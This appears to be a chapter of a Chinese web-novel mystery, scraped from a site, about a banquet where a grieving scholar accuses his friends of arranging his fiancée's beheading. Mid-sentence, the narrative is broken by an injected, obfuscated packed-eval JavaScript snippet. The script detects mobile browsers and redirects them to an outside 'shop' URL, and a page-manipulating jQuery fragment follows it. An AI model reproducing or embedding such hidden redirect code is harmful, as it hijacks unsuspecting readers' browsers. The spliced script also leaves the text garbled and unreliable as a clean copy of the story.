47. 其十·奇诡之宴
作品:《诡案现场别欺负我GB》 “倒没什么。”宫晏晏道,“他只不过说你父亲的小病没什么大不了的,他会照顾的。让你们放下心来。”
“哦。多谢宫姐姐转告。顾相大恩,显儿拜谢。”崔显的神色又变得平静,微笑道,“你们来得都好晚,我的礼物都已经交给赵姐姐了。你们为她准备了些什么呀?”
程梳尘皱眉,转移话题,崔显听到顾初蕊只不过是说他父亲的小病后,完全没听进去,便匆匆抛出了个新问题,倒像是在掩盖别的什么东西,是他太敏感了吗?
宫晏晏取出一把匕首,道:“这是方才路上所买,看来精致非常,只是,不知她喜不喜欢这种东西。”
“她不会不喜欢的。”洛灯花笑了笑,“这真是无心插柳柳成荫,宫女侠,你可能不知道,这‘意气用事’赵舒真,可不是寻常的文弱女子。她跟一个擅长剑法、爱打架、甚至坐过牢的‘万无禁忌’赵无心还是同宗呢!”
赵无心……
宫晏晏和程梳尘都是一阵沉默。
还有小玉,那晚宫晏晏本想带她走,可她偏偏不走,宫晏晏好说歹说,才令她收下了些盘缠。
“对了。”崔显道,“怎么还不见赵姐姐?”
一个书生打扮、身长八尺、长相硬朗,神色却有些畏缩小气的郎君低着头走过来,坐到崔显对面,嘟囔道:“哼。又在搞什么鬼。”
“这……”洛灯花道,“秋兄,这是人家的生辰,我们知道百灵的事,我们都很难过,也为你难过,你又何苦……”
那书生却不看他,只是沉默,连菜也不吃一口。
洛灯花正说着,一摇扇子,朝前面一望:“这不是出来了嘛!”
赵舒真缓缓走了出来,一身白衣,头戴白带,飘然若仙,只是……
竟有些像丧服!
这话可不吉利,不能说。洛灯花稍微怔了怔,还是咳嗽一声,取出一块棋盘,道:“舒真,请收下吧。”
赵舒真接过棋盘,感叹道:“当真胜过鬼斧神工。”
一旁有些宾客已在叽叽喳喳:“这棋盘上,明明什么都没有啊,毫无特色可言呐!”
洛灯花笑了笑,凡夫俗子。
程梳尘微汗,因为说实话,他也没看出这棋盘的精妙之处,可能他在艺术上的情操,都是后来熏陶的,没有童子功。若是回到十多年前,他恐怕只能去当一个刽子手。反正赵舒真看出来了便好。
洛灯花笑道:“舒真,你当真独具慧眼,诸位,你们还有谁能看得比她更清楚?”
已有些人纷纷叫好:“不愧是赵舒真啊!赵舒真可真会看!不但会看,还会写、会吟,当真妙人!”
“洛先生更是厉害,能做出这么精巧的礼物!”
宫晏晏忍不住低声问了一句:“请问,这棋盘的精妙之处到底在哪儿?”
可惜无人在意。
宫晏晏抽了抽鼻子,皱眉,对程梳尘道:“这里怎么还有点儿烟味?”
“烟味?”程梳尘怔了怔,老宫的鼻子真灵,他还真没闻出来。
“赵姐姐!”崔显笑道,“扬州万剑山庄的少庄主,宫大小姐也给你带礼物啦。”
“原来万剑山庄的少庄主也来了!”
这下才有人在意。
“哦?”赵舒真看过来,眼睛微微睁大,“舒真何德何能,竟劳得宫小姐也……”
宫晏晏站起来,将匕首递出,微笑道:“虽是路上所选,可是少见的精品。”
今晚一直没有表情的赵舒真竟笑了,她笑道:“万剑山庄少庄主选的兵器,我一定珍藏。”
她将那匕首揣进怀里,叹道:“诸位,宫少庄主送的礼物,好巧不巧,正是我今天想要告诉诸位的。”
崔显道:“赵姐姐,是什么呀?”
赵舒真冷冷道:“一刀两断!”
那书生冷哼了一声,别过脸去不看赵舒真,竟独自喝起闷酒来。
“一刀两断?”崔显急得站起来,叫道,“赵姐姐,你这是什么意思呀!”
“诸位不要误会,我说的并不是与各位一刀两断。”赵舒真淡淡地拍拍手,道,“来呀!”
一个侍女缓缓从高大的屏风后走了出来,双手端着一根精巧漂亮的狼毫,三步一停,直把这宝笔向在座的诸位都展示了一遍。
洛灯花感慨道:“当真好笔,舒真,这笔,可是跟了你好多年了。是你最欢喜的一支吧。”
“是。”赵舒真看着那支绕场一周,回到她跟前的笔,道,“当然是。”
只听“咔”的一声,众人纷纷侧目,连程梳尘的眼睛都睁大了!
赵舒真竟在众目睽睽之下,将这支笔直的笔弯折,再一下子从中折断,道:“我赵舒真,从今往后,再也不握笔了!”
“舒真,这……”洛灯花也站起来,叹道,“造孽呀,你既然不想写字,不写便是了,又何苦去折断这珍贵的狼毫?”
赵舒真淡淡道:“要断了念想。”
众人中有些已不淡定了:“你听说吗?百灵之死,不少人都说,与,与这女名士,赵舒真有关……”
“听说她生前,她们本是好友,她当众断笔,是不是为了祭奠她?还是因为心中有愧?”
“哈哈哈哈!”那书生痛饮几杯,竟突然开始发笑,大笑,狂笑!
程梳尘低声问洛灯花,道:“这位看起来颇有文化的书生是……”
“他是‘一模一样’秋无双,也是我们河洛七骏之一。他所画人物的头脸,每每都与他人所见一模一样,而且若是群像,就连一张脸都漏不掉。他好面子,又叫‘有头有脸’秋无双。”洛灯花道,“从前洛阳,在作画上最有天赋的两个人,一个是他,另一个是西门家的小公子,但那小公子一直不受待见,后来干脆跑了。洛阳画坛,如今除了那些老家伙们,就他一人了。百灵出事前,他与赵舒真本来嘛……关系倒还可以。”
“是啊。”崔显叹了口气,“赵姐姐本来常常去他的画铺关顾。”
宫晏晏道:“那他……与百灵……”
崔显摇了摇头,洛灯花叹了口气,皆闭口不语。
赵舒真淡淡道:“秋无双,你笑什么。”
秋无双冷笑道:“我笑你虚伪,好虚伪!”
“我虚伪?”赵舒真道,“今日断笔,众人所见,我今生绝不再题一字!”
秋无双道:“你是为百灵之死难过?”
“当然难过。”赵舒真低下头。
“我看你是庆幸!”秋无双冷笑,笑得牙齿发冷,笑得牙齿打战。
此言一出,四下哗然,已有人在讨论:“都说百灵抢了河洛七骏的风头,这河洛七骏,嘴上不说,其实心里都恨透了百灵……”
秋无双道:“现在我的百灵死了,你们开心了吧?”
“你。”秋无双将杯中酒饮尽,借着酒意,指着赵舒真。
赵舒真沉默。
“你!”秋无双指着洛灯花。
洛灯花苦笑,向程梳尘和宫晏晏低声道:“他,他是百灵的未婚夫…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739110|186446||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…他们,喜事将近,可是……”
“还有你!崔大小姐,你也别置身事外。”秋无双指着崔显,恶狠狠道。
“我怎么了?”不知是害怕还是愤怒,崔显漂亮的脸蛋忽而无法控制地变得有些扭曲,“秋无双,你竟敢指着我?从前是看着你的才情,别以为平时称兄道弟,你就真跟我平起平坐了。你一个穷酸书生,知道我是什么人吗?”
“你是从前吏部侍郎的千金,那又如何?”秋无双将酒杯摔得粉碎,随手一指,“格老子的,别说你爹已经回家养老了,今天假如有王爷的千金在,我也照说,照骂!”
程梳尘看着宫晏晏,有些尴尬,今天还真有……
宫晏晏倒不在意,她的全部精力已放在眼睛和耳朵上,她要听清楚,她要查清楚,她要给素不相识的百灵一个交代!
洛灯花打着圆场,道:“秋兄,你丧妻之痛,我们都感同身受,只是,你也不该怪罪我们呀,咱们都是河洛七骏,理应……”
“理应什么?我亲眼见过你们在一块儿嘀嘀咕咕地商量……那几日,灵儿总是不开心!我也忘不了那几日!”秋无双扫视这三人,吼道,“是不是你们,是不是你们雇凶杀人,将,灵儿的头,将那么美、那么干净、纯洁、贞洁、无暇的一颗头砍去了!”
宫晏晏皱眉,他用的这些词,怎么总觉得怪怪的?
秋无双又抱头痛哭,哭得跪在地上:“你们怎么能想得到这么残忍的法子?你们不是人,不是人……我去领她的时候,我,我,我受不了……”
程梳尘扫视四周,众宾客纷纷变色,有的还站起来做离席之态,他立时明白了,百灵之死虽已闹得满城皆知,可是怎么死的,好像并没有人清楚,恐怕也没人亲眼看到。
这种大案,这种情况,这种场景,程梳尘再熟悉不过,只有两种原因。
其一,真的没人知道,这种情况很少。
其二,总有人知道,但是隐瞒,这种情况很多!
百灵是哪一种……
“秋贤弟。”赵舒真叹了口气,“看来你与百灵真的是真爱。”
秋无双道:“你,你说什么?”
赵舒真道:“我买你的画,没有上百,也有几十了。我知道你懦弱,什么都不敢说,甚至别人砍价,你都不回一句嘴。”
她长叹:“可是今天,你竟然当众说出了这样一番话,这已经用足了你的勇气。”
“那当然!”秋无双道,“天地可鉴!”
“百灵死了,其实我也很伤心。”赵舒真怅然道,“但你却一口咬定是我们做的,不如这样,今日亲朋好友都在,想必认识你秋无双的也大有人在。不如,我们便对天起誓,以正清白,可好?”
对天起誓?
所有的目光都集中到了秋无双身上,宫晏晏皱眉,她看到秋无双的手在发颤,她与程梳尘对视一眼,低声道:“有些不对……”
秋无双大口喘着气,道:“好,我先对天起誓,那又如何?”
他用尽全身的力气,边哭,边声嘶力竭地吼道:“我秋无双,深爱灵儿,最爱灵儿,自问,从未真的做过一件对不起她的事情,如果此言有误,便让天地失色、水火相容!山陵海竭,雷公电母,劈我做焦土!”
突然,宫晏晏和程梳尘的瞳孔收缩,整个厅堂竟然在瞬息之间完全变成了一片黑色,原先火光的红、菜肴的绿、桌椅的黄,在刹那之间全部变得一无所有,每一片窗也已经悄然关上!
“夫君,好久不见。”

